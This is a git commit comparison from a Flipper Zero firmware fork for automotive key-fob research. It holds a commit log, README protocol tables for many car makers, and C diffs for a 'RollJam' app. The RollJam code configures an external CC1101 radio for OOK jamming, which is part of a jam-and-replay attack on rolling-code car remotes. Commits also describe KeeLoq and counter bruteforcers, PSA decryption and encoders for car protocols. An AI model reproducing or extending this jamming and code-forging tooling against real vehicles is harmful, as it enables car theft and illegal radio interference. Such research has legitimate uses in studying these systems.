Compare commits

...

58 Commits

Author SHA1 Message Date
d4rks1d33
4e05a0e631 Fixed Ford V0, added Starline (tested) & added ScherKhan (untested)
All checks were successful
Build Dev Firmware / build (push) Successful in 6m34s
2026-03-21 15:24:53 -03:00
d4rks1d33
17d497e21e Fix RollJam app
All checks were successful
Build Dev Firmware / build (push) Successful in 6m26s
2026-03-20 22:56:59 -03:00
47LeCoste
d5b46ffefb Update .gitignore
All checks were successful
Build Dev Firmware / build (push) Successful in 6m33s
2026-03-20 15:53:17 +00:00
D4rk$1d3
9d2298114c Update application.fam
All checks were successful
Build Dev Firmware / build (push) Successful in 6m32s
2026-03-18 19:18:49 -03:00
D4rk$1d3
b93a970647 Delete applications/main/KeylessGoSniffer directory 2026-03-18 19:17:43 -03:00
47LeCoste
c6265ea29b Delete CHANGELOG.md
All checks were successful
Build Dev Firmware / build (push) Successful in 10m8s
2026-03-18 19:41:47 +00:00
47LeCoste
8e0a81b89d Update fiat_marelli.h 2026-03-18 19:40:46 +00:00
grugnoymeme
6f39fd4803 removed problematics and fixed f3
All checks were successful
Build Dev Firmware / build (push) Successful in 6m34s
2026-03-18 19:45:16 +01:00
grugnoymeme
41d10f9b3d Merge remote-tracking branch 'refs/remotes/origin/main' 2026-03-18 19:26:36 +01:00
grugnoymeme
1f97aa2e3c reduced datarate for F3, renamed 1,2,A1,F1,F3, introduced AU_1,RF_1 for test 2026-03-18 19:26:21 +01:00
D4rk$1d3
5b9038173b Update README.md 2026-03-18 15:04:38 -03:00
grugnoymeme
fde0a57595 forgtten to close a }
All checks were successful
Build Dev Firmware / build (push) Successful in 6m30s
2026-03-18 16:23:59 +01:00
MX
3fb40944e6 NFC: Add Mifare Ultralight C Write Support
by haw8411
2026-03-18 16:16:04 +01:00
grugnoymeme
e61cfa765a bft force seed value @MMX 2026-03-18 16:07:20 +01:00
grugnoymeme
fd0dd6c324 subghz fix very big issue with tx on read screen @MMX 2026-03-18 16:04:22 +01:00
grugnoymeme
8ff5e3c311 hide arf_pictures folder, and updated readme images 2026-03-18 15:58:12 +01:00
grugnoymeme
4974201851 Merge remote-tracking branch 'refs/remotes/origin/main' 2026-03-18 15:55:47 +01:00
grugnoymeme
b0b464e3fb removed unused documentation, and changed the owner of the repo 2026-03-18 15:55:39 +01:00
47LeCoste
57226fc902 Update README.md 2026-03-18 14:52:24 +00:00
grugnoymeme
cb9aee6422 Merge remote-tracking branch 'refs/remotes/origin/main' 2026-03-18 15:47:56 +01:00
grugnoymeme
b720fac88a add keyfinder 24b protocol, removed AGAIN keys.c/.h PAY ATTENTION WHEN MERGE XD, setup reserch setting_user file 2026-03-18 15:47:43 +01:00
Andrea Santaniello
22daa7cfc3 Correct bit order 2026-03-18 15:36:32 +01:00
grugnoymeme
1c9fddf076 Merge remote-tracking branch 'refs/remotes/origin/main'
All checks were successful
Build Dev Firmware / build (push) Successful in 6m33s
2026-03-18 15:16:47 +01:00
grugnoymeme
4380d9f156 small fmt 2026-03-18 15:16:21 +01:00
d4rks1d33
a4da50c191 Update home screenshot
All checks were successful
Build Dev Firmware / build (push) Successful in 6m29s
2026-03-17 21:35:40 -03:00
d4rks1d33
e881d69ab3 Added passive Keyless sniffer for future analysis of keyless entry systems
All checks were successful
Build Dev Firmware / build (push) Successful in 6m46s
2026-03-17 21:22:30 -03:00
grugnoymeme
b041177398 fixing problem of exit confirm not working when entering subghz app with right arrow ALREADY WIP
All checks were successful
Build Dev Firmware / build (push) Successful in 6m35s
2026-03-17 22:18:26 +01:00
grugnoymeme
f347d5a976 better display of datas after decrypt for PSA
All checks were successful
Build Dev Firmware / build (push) Successful in 6m54s
2026-03-17 21:08:18 +01:00
grugnoymeme
3a6da87288 hide Emulate choice in subghz saved menu for psa encrypted sub files bc useless, and moved PSA decrypt first
All checks were successful
Build Dev Firmware / build (push) Successful in 6m41s
2026-03-17 20:17:21 +01:00
grugnoymeme
5d94639d81 Merge remote-tracking branch 'refs/remotes/origin/main' 2026-03-17 20:12:54 +01:00
grugnoymeme
5dcfc48e10 restored holtekS protocols bc super commons, fixed fiat spa, scheduled tea iterations for faster bf1 in psa, fixed progress bar's issue on 1 percent in psa decrypt, fmt protocol items 2026-03-17 20:07:07 +01:00
Andrea Santaniello
20a95b2fec Apprently using the bt thread to save the keys causes a crash due to the low memory
All checks were successful
Build Dev Firmware / build (push) Successful in 6m40s
2026-03-17 17:24:03 +01:00
Andrea Santaniello
3605669cc5 Fixing crash on finding first good candidate
All checks were successful
Build Dev Firmware / build (push) Successful in 6m38s
2026-03-17 15:28:16 +01:00
Andrea Santaniello
fb1c28a0dd Update subghz_scene_kl_bf_cleanup.c
All checks were successful
Build Dev Firmware / build (push) Successful in 6m42s
2026-03-17 14:23:56 +01:00
Andrea Santaniello
64a971e806 Keeloq Bruteforcer updates
Some checks failed
Build Dev Firmware / build (push) Failing after 2m37s
2026-03-17 14:01:27 +01:00
d4rks1d33
12db96a8ab Fix counter brute force, open window to 500ms per transmission making more stable
All checks were successful
Build Dev Firmware / build (push) Successful in 6m34s
2026-03-16 21:41:33 -03:00
d4rks1d33
4b50b8b70c Fix warning UI
All checks were successful
Build Dev Firmware / build (push) Successful in 6m35s
2026-03-16 20:09:04 -03:00
d4rks1d33
0f24f8c105 Added warning on counter bruteforce 2026-03-16 19:45:54 -03:00
Andrea Santaniello
238f39d0d8 Fixes 2026-03-16 23:39:22 +01:00
Andrea Santaniello
4c3581735b Better handling of the keeloq bf
All checks were successful
Build Dev Firmware / build (push) Successful in 6m23s
2026-03-16 22:31:16 +01:00
Andrea Santaniello
689df5262d Compiler bitch fix
All checks were successful
Build Dev Firmware / build (push) Successful in 6m28s
2026-03-16 17:57:09 +01:00
Andrea Santaniello
86c740d923 Preliminary stuff for phone accellerate Keeloq bruteforce
Some checks failed
Build Dev Firmware / build (push) Failing after 2m35s
2026-03-16 16:55:25 +01:00
Andrea Santaniello
0aef017c15 New assets by GONZOsint (https://github.com/GONZOsint)
All checks were successful
Build Dev Firmware / build (push) Successful in 6m46s
2026-03-16 13:57:23 +01:00
grugnoymeme
cea3bc3b6a fmt fiat marelli displayed datas and removed duplicates variant declaration in feed
All checks were successful
Build Dev Firmware / build (push) Successful in 6m25s
2026-03-16 05:58:05 +01:00
d4rks1d33
f3d08573a1 small fix
All checks were successful
Build Dev Firmware / build (push) Successful in 6m28s
2026-03-15 18:31:15 -03:00
Andrea
9e52a6eb6b Update Fiat Marelli entry in README.md
All checks were successful
Build Dev Firmware / build (push) Successful in 6m28s
2026-03-15 18:10:58 +01:00
Andrea Santaniello
faf669b457 Encoder for marelli/delphi
All checks were successful
Build Dev Firmware / build (push) Successful in 6m39s
2026-03-15 17:03:44 +01:00
Andrea Santaniello
e445b28d73 Update fiat_marelli.c
All checks were successful
Build Dev Firmware / build (push) Successful in 6m32s
2026-03-15 16:36:48 +01:00
Andrea Santaniello
19e2eaa554 Update fiat_marelli.c 2026-03-15 16:08:28 +01:00
Andrea Santaniello
2571ad7f22 Update fiat_marelli.c 2026-03-15 15:10:42 +01:00
Andrea Santaniello
22a0870559 Native chip AES (thanks to carphreak for suggesting it, saves some space) 2026-03-15 15:06:04 +01:00
d4rks1d33
1c9d1f404a Option to select Flux Capitor or Normal CC1101 on RollJam 2026-03-15 01:35:20 -03:00
d4rks1d33
fabb1ccc2d Official Flipper App now work with bluetooth 2026-03-15 00:42:43 -03:00
d4rks1d33
6a432a93ad Fix my bad sorry 2026-03-15 00:34:46 -03:00
d4rks1d33
d2cca91ec8 Small fix 2026-03-15 00:27:48 -03:00
d4rks1d33
6e483393e1 Update workflow 2026-03-15 00:20:10 -03:00
David
4dc688c25b Change encryption settings and add encrypted data
Updated encryption settings and added initialization vector and encrypted data.
2026-03-14 18:34:24 +01:00
David
585ce97358 Update to-do list in README.md for clarity 2026-03-14 17:09:29 +01:00
177 changed files with 5498 additions and 14142 deletions

View File

Before

Width:  |  Height:  |  Size: 1.9 KiB

After

Width:  |  Height:  |  Size: 1.9 KiB

BIN
.arf_pictures/home.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 2.4 KiB

View File

Before

Width:  |  Height:  |  Size: 1.9 KiB

After

Width:  |  Height:  |  Size: 1.9 KiB

View File

Before

Width:  |  Height:  |  Size: 1.8 KiB

After

Width:  |  Height:  |  Size: 1.8 KiB

View File

Before

Width:  |  Height:  |  Size: 2.1 KiB

After

Width:  |  Height:  |  Size: 2.1 KiB

View File

Before

Width:  |  Height:  |  Size: 34 KiB

After

Width:  |  Height:  |  Size: 34 KiB

View File

Before

Width:  |  Height:  |  Size: 1.9 KiB

After

Width:  |  Height:  |  Size: 1.9 KiB

5
.github/CODEOWNERS vendored
View File

@@ -1,5 +1,2 @@
# Default
* @xMasterX
# Assets
/assets/resources/infrared/assets/ @amec0e @Leptopt1los @xMasterX
* ARF Crew

View File

@@ -17,6 +17,7 @@ jobs:
- name: Build firmware
run: |
export DIST_SUFFIX=Flipper-ARF
chmod +x fbt
./fbt COMPACT=1 DEBUG=0 updater_package
@@ -28,7 +29,7 @@ jobs:
id: firmware
run: |
DIR=$(ls -d dist/f7-* | head -n 1)
FILE="$DIR/flipper-z-f7-update-local.tgz"
FILE="$DIR/flipper-z-f7-update-Flipper-ARF.tgz"
if [ ! -f "$FILE" ]; then
echo "Firmware file not found!"

View File

@@ -1,66 +0,0 @@
## Main changes
- Current API: 87.6
* SubGHz: Signal Settings Improvements (PR #968 | by @Dmitry422)
* Apps: Build tag (**17feb2026**) - **Check out more Apps updates and fixes by following** [this link](https://github.com/xMasterX/all-the-plugins/commits/dev)
## Other changes
* MFKey: Update to v4.1 (by @noproto & @dchristle)
<br><br>
#### Known NFC post-refactor regressions list:
- Mifare Mini clones reading is broken (original mini working fine) (OFW)
- While reading some EMV capable cards via NFC->Read flipper may crash due to Desfire poller issue, read those cards via Extra actions->Read specific card type->EMV
----
[-> How to install firmware](https://github.com/DarkFlippers/unleashed-firmware/blob/dev/documentation/HowToInstall.md)
[-> Unleashed FW Web Installer](https://web.unleashedflip.com)
## Please support development of the project
| Service | Remark | QR Code | Link/Wallet |
|------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|---------------------------|-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|---------------------------------------------------------------------------------------------------|
| <img src="https://cdn.simpleicons.org/patreon/dark/white" alt="Patreon" width="14"/> **Patreon** | | <div align="center"><a href="https://github.com/user-attachments/assets/a88a90a5-28c3-40b4-864a-0c0b79494a42"><img src="https://github.com/user-attachments/assets/da3a864d-d1c7-42cc-8a86-6fcaf26663ec" alt="QR image"/></a></div> | [patreon.com/mmxdev](https://patreon.com/mmxdev) |
| <img src="https://cdn.simpleicons.org/boosty" alt="Boosty" width="14"/> **Boosty** | patreon alternative | <div align="center"><a href="https://github.com/user-attachments/assets/893c0760-f738-42c1-acaa-916019a7bdf8"><img src="https://github.com/user-attachments/assets/da3a864d-d1c7-42cc-8a86-6fcaf26663ec" alt="QR image"/></a></div> | [boosty.to/mmxdev](https://boosty.to/mmxdev) |
| <img src="https://gist.githubusercontent.com/m-xim/255a3ef36c886dec144a58864608084c/raw/71da807b4abbd1582e511c9ea30fad27f78d642a/cloudtips_icon.svg" alt="Cloudtips" width="14"/> CloudTips | only RU payments accepted | <div align="center"><a href="https://github.com/user-attachments/assets/5de31d6a-ef24-4d30-bd8e-c06af815332a"><img src="https://github.com/user-attachments/assets/da3a864d-d1c7-42cc-8a86-6fcaf26663ec" alt="QR image"/></a></div> | [pay.cloudtips.ru/p/7b3e9d65](https://pay.cloudtips.ru/p/7b3e9d65) |
| <img src="https://raw.githubusercontent.com/gist/PonomareVlad/55c8708f11702b4df629ae61129a9895/raw/1657350724dab66f2ad68ea034c480a2df2a1dfd/YooMoney.svg" alt="YooMoney" width="14"/> YooMoney | only RU payments accepted | <div align="center"><a href="https://github.com/user-attachments/assets/33454f79-074b-4349-b453-f94fdadc3c68"><img src="https://github.com/user-attachments/assets/da3a864d-d1c7-42cc-8a86-6fcaf26663ec" alt="QR image"/></a></div> | [yoomoney.ru/fundraise/XA49mgQLPA0.221209](https://yoomoney.ru/fundraise/XA49mgQLPA0.221209) |
| <img src="https://cdn.simpleicons.org/tether" alt="USDT" width="14"/> USDT | TRC20 | <div align="center"><a href="https://github.com/user-attachments/assets/0500498d-18ed-412d-a1a4-8a66d0b6f057"><img src="https://github.com/user-attachments/assets/da3a864d-d1c7-42cc-8a86-6fcaf26663ec" alt="QR image"/></a></div> | `TSXcitMSnWXUFqiUfEXrTVpVewXy2cYhrs` |
| <img src="https://cdn.simpleicons.org/ethereum" alt="ETH" width="14"/> ETH | BSC/ERC20-Tokens | <div align="center"><a href="https://github.com/user-attachments/assets/0f323e98-c524-4f41-abb2-f4f1cec83ab6"><img src="https://github.com/user-attachments/assets/da3a864d-d1c7-42cc-8a86-6fcaf26663ec" alt="QR image"/></a></div> | `0xFebF1bBc8229418FF2408C07AF6Afa49152fEc6a` |
| <img src="https://cdn.simpleicons.org/bitcoin" alt="BTC" width="14"/> BTC | | <div align="center"><a href="https://github.com/user-attachments/assets/5a904d45-947e-4b92-9f0f-7fbaaa7b37f8"><img src="https://github.com/user-attachments/assets/da3a864d-d1c7-42cc-8a86-6fcaf26663ec" alt="QR image"/></a></div> | `bc1q0np836jk9jwr4dd7p6qv66d04vamtqkxrecck9` |
| <img src="https://cdn.simpleicons.org/solana" alt="SOL" width="13"/> SOL | Solana/Tokens | <div align="center"><a href="https://github.com/user-attachments/assets/ab33c5e0-dd59-497b-9c91-ceb89c36b34d"><img src="https://github.com/user-attachments/assets/da3a864d-d1c7-42cc-8a86-6fcaf26663ec" alt="QR image"/></a></div> | `DSgwouAEgu8iP5yr7EHHDqMNYWZxAqXWsTEeqCAXGLj8` |
| <img src="https://cdn.simpleicons.org/dogecoin" alt="DOGE" width="14"/> DOGE | | <div align="center"><a href="https://github.com/user-attachments/assets/2937edd0-5c85-4465-a444-14d4edb481c0"><img src="https://github.com/user-attachments/assets/da3a864d-d1c7-42cc-8a86-6fcaf26663ec" alt="QR image"/></a></div> | `D6R6gYgBn5LwTNmPyvAQR6bZ9EtGgFCpvv` |
| <img src="https://cdn.simpleicons.org/litecoin" alt="LTC" width="14"/> LTC | | <div align="center"><a href="https://github.com/user-attachments/assets/441985fe-f028-4400-83c1-c215760c1e74"><img src="https://github.com/user-attachments/assets/da3a864d-d1c7-42cc-8a86-6fcaf26663ec" alt="QR image"/></a></div> | `ltc1q3ex4ejkl0xpx3znwrmth4lyuadr5qgv8tmq8z9` |
| <img src="https://bitcoincash.org/img/green/bitcoin-cash-circle.svg" alt="BCH" width="14"/> BCH | | <div align="center"><a href="https://github.com/user-attachments/assets/7f365976-19a3-4777-b17e-4bfba5f69eff"><img src="https://github.com/user-attachments/assets/da3a864d-d1c7-42cc-8a86-6fcaf26663ec" alt="QR image"/></a></div> | `qquxfyzntuqufy2dx0hrfr4sndp0tucvky4sw8qyu3` |
| <img src="https://cdn.simpleicons.org/monero" alt="XMR" width="14"/> XMR | Monero | <div align="center"><a href="https://github.com/user-attachments/assets/96186c06-61e7-4b4d-b716-6eaf1779bfd8"><img src="https://github.com/user-attachments/assets/da3a864d-d1c7-42cc-8a86-6fcaf26663ec" alt="QR image"/></a></div> | `41xUz92suUu1u5Mu4qkrcs52gtfpu9rnZRdBpCJ244KRHf6xXSvVFevdf2cnjS7RAeYr5hn9MsEfxKoFDRSctFjG5fv1Mhn` |
| <img src="https://cdn.simpleicons.org/ton" alt="TON" width="14"/> TON | | <div align="center"><a href="https://github.com/user-attachments/assets/92a57e57-7462-42b7-a342-6f22c6e600c1"><img src="https://github.com/user-attachments/assets/da3a864d-d1c7-42cc-8a86-6fcaf26663ec" alt="QR image"/></a></div> | `UQCOqcnYkvzOZUV_9bPE_8oTbOrOF03MnF-VcJyjisTZmsxa` |
#### Thanks to our sponsors who supported project in the past and special thanks to sponsors who supports us on regular basis:
@mishamyte, ClaraCrazy, Pathfinder [Count Zero cDc], callmezimbra, Quen0n, MERRON, grvpvl (lvpvrg), art_col, ThurstonWaffles, Moneron, UterGrooll, LUCFER, Northpirate, zloepuzo, T.Rat, Alexey B., ionelife, ...
and all other great people who supported our project and me (xMasterX), thanks to you all!
## **Recommended update option - Web Updater**
### What `e`, ` `, `c` means? What I need to download if I don't want to use Web updater?
What build I should download and what this name means - `flipper-z-f7-update-(version)(e / c).tgz` ? <br>
`flipper-z` = for Flipper Zero device<br>
`f7` = Hardware version - same for all flipper zero devices<br>
`update` = Update package, contains updater, all assets (plugins, IR libs, etc.), and firmware itself<br>
`(version)` = Firmware version<br>
| Designation | [Base Apps](https://github.com/xMasterX/all-the-plugins#default-pack) | [Extra Apps](https://github.com/xMasterX/all-the-plugins#extra-pack) |
|-----|:---:|:---:|
| ` ` | ✅ | |
| `c` | | |
| `e` | ✅ | ✅ |
**To enable RGB Backlight support go into LCD & Notifications settings**
RGB backlight [hardware mod](https://github.com/quen0n/flipperzero-firmware-rgb#readme), works only on modded flippers! do not enable on non modded device!
Firmware Self-update package (update from microSD) - `flipper-z-f7-update-(version).tgz` for mobile app / qFlipper / web<br>
Archive of `scripts` folder (contains scripts for FW/plugins development) - `flipper-z-any-scripts-(version).tgz`<br>
SDK files for plugins development and uFBT - `flipper-z-f7-sdk-(version).zip`

View File

@@ -29,11 +29,11 @@ This project may incorporate, adapt, or build upon **other open-source projects*
| | |
|:---:|:---:|
| ![Home](arf_pictures/home.png) | ![Sub-GHz Scanner](arf_pictures/subghz_scan.png) |
| ![Home](.arf_pictures/home.png) | ![Sub-GHz Scanner](.arf_pictures/subghz_scan.png) |
| Home Screen | Sub-GHz Scanner |
| ![Keeloq Key Manager](arf_pictures/keeloq_key_manager.png) | ![Mod Hopping](arf_pictures/mod_hopping.png) |
| ![Keeloq Key Manager](.arf_pictures/keeloq_key_manager.png) | ![Mod Hopping](.arf_pictures/mod_hopping.png) |
| Keeloq Key Manager | Mod Hopping Config |
| ![PSA Decrypt](arf_pictures/psa_decrypt_builtin.png) | ![Counter BruteForce](arf_pictures/counter_bruteforce.png) |
| ![PSA Decrypt](.arf_pictures/psa_decrypt_builtin.png) | ![Counter BruteForce](.arf_pictures/counter_bruteforce.png) |
| PSA XTEA Decrypt | Counter BruteForce |
---
@@ -45,19 +45,19 @@ This project may incorporate, adapt, or build upon **other open-source projects*
| Manufacturer | Protocol | Frequency | Modulation | Encoder | Decoder | CRC |
|:---|:---|:---:|:---:|:---:|:---:|:---:|
| VAG (VW/Audi/Skoda/Seat) | VAG GROUP | 433 MHz | AM | Yes | Yes | No |
| Porsche | Cayenne | 433/868 MHz | AM | Yes | Yes | No |
| Porsche | Porsche AG | 433/868 MHz | AM | Yes | Yes | No |
| PSA (Peugeot/Citroën/DS) | PSA GROUP | 433 MHz | AM/FM | Yes | Yes | Yes |
| Ford | Ford V0 | 315/433 MHz | AM | Yes | Yes | Yes |
| Fiat | Fiat SpA | 433 MHz | AM | Yes | Yes | Yes |
| Fiat | Fiat Marelli | 433 MHz | AM | No | Yes | No |
| Fiat | Marelli/Delphi | 433 MHz | AM | No | Yes | No |
| Mazda | Siemens (5WK49365D) | 315/433 MHz | AM/FM | Yes | Yes | Yes |
| Kia/Hyundai | KIA/HYU V0 | 433 MHz | FM | Yes | Yes | Yes |
| Kia/Hyundai | KIA/HYU V1 | 315/433 MHz | AM | Yes | Yes | Yes |
| Kia/Hyundai | KIA/HYU V2 | 315/433 MHz | AM/FM | Yes | Yes | Yes |
| Kia/Hyundai | KIA/HYU V3/V4 | 315/433 MHz | AM/FM | Yes | Yes | Yes |
| Kia/Hyundai | KIA/HYU V5 | 433 MHz | FM | Yes | Yes | Yes |
| Kia/Hyundai | KIA/HYU V6 | 433 MHz | FM | Yes | Yes | Yes |
| Subaru | Subaru | 433 MHz | AM | Yes | Yes | No |
| Mazda | Siemens (5WK49365D) | 315/433 MHz | FM | Yes | Yes | Yes |
| Kia/Hyundai | Kia V0 | 433 MHz | FM | Yes | Yes | Yes |
| Kia/Hyundai | Kia V1 | 315/433 MHz | AM | Yes | Yes | Yes |
| Kia/Hyundai | Kia V2 | 315/433 MHz | FM | Yes | Yes | Yes |
| Kia/Hyundai | Kia V3/V4 | 315/433 MHz | AM/FM | Yes | Yes | Yes |
| Kia/Hyundai | Kia V5 | 433 MHz | FM | Yes | Yes | Yes |
| Kia/Hyundai | Kia V6 | 433 MHz | FM | Yes | Yes | Yes |
| Suzuki | Suzuki | 433 MHz | FM | Yes | Yes | Yes |
| Mitsubishi | Mitsubishi V0 | 868 MHz | FM | Yes | Yes | No |
@@ -72,16 +72,19 @@ This project may incorporate, adapt, or build upon **other open-source projects*
| CAME TWEE | 433 MHz | AM | Yes | Yes | No |
| CAME Atomo | 433 MHz | AM | Yes | Yes | No |
| Faac SLH | 433/868 MHz | AM | Yes | Yes | No |
| Holtek | 433 MHz | AM | Yes | Yes | No |
| Holtek-Ht12x | 433 MHz | AM | Yes | Yes | No |
| Somfy Telis | 433 MHz | AM | Yes | Yes | Yes |
| Somfy Keytis | 433 MHz | AM | Yes | Yes | Yes |
| Alutech AT-4N | 433 MHz | AM | Yes | Yes | Yes |
| Keyfinder | 433 MHz | AM | Yes | Yes | No |
| KingGates Stylo4k | 433 MHz | AM | Yes | Yes | No |
| Beninca ARC | 433 MHz | AM | Yes | Yes | No |
| Hormann HSM | 433/868 MHz | AM | Yes | Yes | No |
| Marantec | 433 MHz | AM | Yes | Yes | Yes |
| Marantec24 | 433 MHz | AM | Yes | Yes | Yes |
### General Static Protocols
### General Protocols
| Protocol | Frequency | Modulation | Encoder | Decoder | CRC |
|:---|:---:|:---:|:---:|:---:|:---:|
@@ -101,8 +104,6 @@ This project may incorporate, adapt, or build upon **other open-source projects*
| Hay21 | 433 MHz | AM | Yes | Yes | No |
| Revers RB2 | 433 MHz | AM | Yes | Yes | No |
| Roger | 433 MHz | AM | Yes | Yes | No |
| BinRAW | 433/315/868 MHz | AM/FM | Yes | Yes | No |
| RAW | All | All | Yes | Yes | No |
---
@@ -110,9 +111,14 @@ This project may incorporate, adapt, or build upon **other open-source projects*
Compact release build:
To build:
```
./fbt COMPACT=1 DEBUG=0 updater_package
```
To flash:
```
./fbt COMPACT=1 DEBUG=0 flash_usb_full
```
---
@@ -125,7 +131,7 @@ Flipper-ARF aims to achieve:
- Stable encoder/decoder implementations
- Modular protocol expansion
**Primary focus:** VAG, PSA, Fiat, Ford, Asian platforms, and aftermarket alarm systems.
**Primary focus:** Automotives/Alarm's keyfob protocols, keeloq, and keyless systems.
> ⚠ This is a protocol-focused research firmware, not a general-purpose firmware.
@@ -133,11 +139,9 @@ Flipper-ARF aims to achieve:
## To Do / Planned Features
- [ ] Add Scher Khan & Starline protocols
- [ ] Marelli BSI encodere and encryption
- [ ] Fix and reintegrate RollJam app (future updates)
- [ ] Expand and refine Subaru, Kia, PSA, and other manufacturer protocols
- [ ] Improve collaboration workflow to avoid overlapping work
- [ ] Marelli BSI encoder and encryption
- [ ] Improve RollJam app
- [ ] Expand and refine as many manufacturer protocols as possible
---
@@ -178,7 +182,7 @@ Contributions are welcome if they:
> Non-automotive features are considered out-of-scope for now.
### This code is a mess!
![Talk is cheap, submit patches](arf_pictures/send_patches.jpeg)
![Talk is cheap, submit patches](.arf_pictures/send_patches.jpeg)
---
## Citations & References

View File

@@ -5,10 +5,15 @@
#include <furi_hal_power.h>
// ============================================================
// 5V OTG power for external modules (e.g. Rabbit Lab Flux Capacitor)
// 5V OTG power
// ============================================================
static bool otg_was_enabled = false;
static bool otg_was_enabled = false;
static bool use_flux_capacitor = false;
void rolljam_ext_set_flux_capacitor(bool enabled) {
use_flux_capacitor = enabled;
}
static void rolljam_ext_power_on(void) {
otg_was_enabled = furi_hal_power_is_otg_enabled();
@@ -27,9 +32,6 @@ static void rolljam_ext_power_off(void) {
}
}
// ============================================================
// GPIO Pins
// ============================================================
static const GpioPin* pin_mosi = &gpio_ext_pa7;
static const GpioPin* pin_miso = &gpio_ext_pa6;
static const GpioPin* pin_cs = &gpio_ext_pa4;
@@ -91,30 +93,43 @@ static const GpioPin* pin_amp = &gpio_ext_pc3;
#define MARC_TX 0x13
// ============================================================
// Bit-bang SPI
// Band calibration
// ============================================================
typedef struct {
uint32_t min_freq;
uint32_t max_freq;
uint8_t fscal3;
uint8_t fscal2;
uint8_t fscal1;
uint8_t fscal0;
} ExtBandCal;
static const ExtBandCal ext_band_cals[] = {
{ 299000000, 348000000, 0xEA, 0x2A, 0x00, 0x1F },
{ 386000000, 464000000, 0xE9, 0x2A, 0x00, 0x1F },
{ 778000000, 928000000, 0xEA, 0x2A, 0x00, 0x11 },
};
#define EXT_BAND_CAL_COUNT (sizeof(ext_band_cals) / sizeof(ext_band_cals[0]))
static const ExtBandCal* ext_get_band_cal(uint32_t freq) {
for(size_t i = 0; i < EXT_BAND_CAL_COUNT; i++) {
if(freq >= ext_band_cals[i].min_freq && freq <= ext_band_cals[i].max_freq)
return &ext_band_cals[i];
}
return &ext_band_cals[1];
}
static inline void spi_delay(void) {
__NOP(); __NOP(); __NOP(); __NOP();
__NOP(); __NOP(); __NOP(); __NOP();
__NOP(); __NOP(); __NOP(); __NOP();
__NOP(); __NOP(); __NOP(); __NOP();
for(int i = 0; i < 16; i++) __NOP();
}
static inline void cs_lo(void) {
furi_hal_gpio_write(pin_cs, false);
spi_delay(); spi_delay();
}
static inline void cs_hi(void) {
spi_delay();
furi_hal_gpio_write(pin_cs, true);
spi_delay(); spi_delay();
}
static inline void cs_lo(void) { furi_hal_gpio_write(pin_cs, false); spi_delay(); }
static inline void cs_hi(void) { spi_delay(); furi_hal_gpio_write(pin_cs, true); spi_delay(); }
static bool wait_miso(uint32_t us) {
CoreDebug->DEMCR |= CoreDebug_DEMCR_TRCENA_Msk;
DWT->CTRL |= DWT_CTRL_CYCCNTENA_Msk;
DWT->CTRL |= DWT_CTRL_CYCCNTENA_Msk;
uint32_t s = DWT->CYCCNT;
uint32_t t = (SystemCoreClock / 1000000) * us;
while(furi_hal_gpio_read(pin_miso)) {
@@ -148,20 +163,10 @@ static uint8_t cc_strobe(uint8_t cmd) {
static void cc_write(uint8_t a, uint8_t v) {
cs_lo();
if(!wait_miso(5000)) { cs_hi(); return; }
spi_byte(a);
spi_byte(v);
spi_byte(a); spi_byte(v);
cs_hi();
}
static uint8_t cc_read(uint8_t a) {
cs_lo();
if(!wait_miso(5000)) { cs_hi(); return 0xFF; }
spi_byte(a | 0x80);
uint8_t v = spi_byte(0x00);
cs_hi();
return v;
}
static uint8_t cc_read_status(uint8_t a) {
cs_lo();
if(!wait_miso(5000)) { cs_hi(); return 0xFF; }
@@ -179,10 +184,6 @@ static void cc_write_burst(uint8_t a, const uint8_t* d, uint8_t n) {
cs_hi();
}
// ============================================================
// Helpers
// ============================================================
static bool cc_reset(void) {
cs_hi(); furi_delay_us(30);
cs_lo(); furi_delay_us(30);
@@ -204,13 +205,8 @@ static bool cc_check(void) {
return (v == 0x14 || v == 0x04 || v == 0x03);
}
static uint8_t cc_state(void) {
return cc_read_status(CC_MARCSTATE) & 0x1F;
}
static uint8_t cc_txbytes(void) {
return cc_read_status(CC_TXBYTES) & 0x7F;
}
static uint8_t cc_state(void) { return cc_read_status(CC_MARCSTATE) & 0x1F; }
static uint8_t cc_txbytes(void) { return cc_read_status(CC_TXBYTES) & 0x7F; }
static void cc_idle(void) {
cc_strobe(CC_SIDLE);
@@ -223,98 +219,14 @@ static void cc_idle(void) {
static void cc_set_freq(uint32_t f) {
uint32_t r = (uint32_t)(((uint64_t)f << 16) / 26000000ULL);
cc_write(CC_FREQ2, (r >> 16) & 0xFF);
cc_write(CC_FREQ1, (r >> 8) & 0xFF);
cc_write(CC_FREQ0, r & 0xFF);
cc_write(CC_FREQ1, (r >> 8) & 0xFF);
cc_write(CC_FREQ0, r & 0xFF);
}
static bool cc_configure_jam(uint32_t freq) {
FURI_LOG_I(TAG, "EXT: Config OOK noise jam at %lu Hz", freq);
const ExtBandCal* cal = ext_get_band_cal(freq);
FURI_LOG_I(TAG, "EXT: Config OOK jam at %lu Hz", freq);
cc_idle();
cc_write(CC_IOCFG0, 0x02);
cc_write(CC_IOCFG2, 0x2F);
// Fixed packet length, 255 bytes per packet
cc_write(CC_PKTCTRL0, 0x00); // Fixed length, no CRC, no whitening
cc_write(CC_PKTCTRL1, 0x00); // No address check
cc_write(CC_PKTLEN, 0xFF); // 255 bytes per packet
// FIFO threshold: alert when TX FIFO has space for 33+ bytes
cc_write(CC_FIFOTHR, 0x07);
// No sync word - just raw data
cc_write(CC_SYNC1, 0x00);
cc_write(CC_SYNC0, 0x00);
// Frequency
cc_set_freq(freq);
cc_write(CC_FSCTRL1, 0x06);
cc_write(CC_FSCTRL0, 0x00);
// CRITICAL: LOW data rate to prevent FIFO underflow
// 1.2 kBaud: DRATE_E=5, DRATE_M=67
// At this rate, 64 bytes = 64*8/1200 = 426ms before FIFO empty
cc_write(CC_MDMCFG4, 0x85); // BW=325kHz (for TX spectral output), DRATE_E=5
cc_write(CC_MDMCFG3, 0x43); // DRATE_M=67 → ~1.2 kBaud
cc_write(CC_MDMCFG2, 0x30); // ASK/OOK, no sync word
cc_write(CC_MDMCFG1, 0x00); // No preamble
cc_write(CC_MDMCFG0, 0xF8);
cc_write(CC_DEVIATN, 0x47);
// Auto-return to TX after packet sent
cc_write(CC_MCSM1, 0x00); // TXOFF -> IDLE (we manually re-enter TX)
cc_write(CC_MCSM0, 0x18); // Auto-cal IDLE->TX
// MAX TX power
cc_write(CC_FREND0, 0x11); // PA index 1 for OOK high
// PATABLE: ALL entries at max power
// Index 0 = 0x00 for OOK "0" (off)
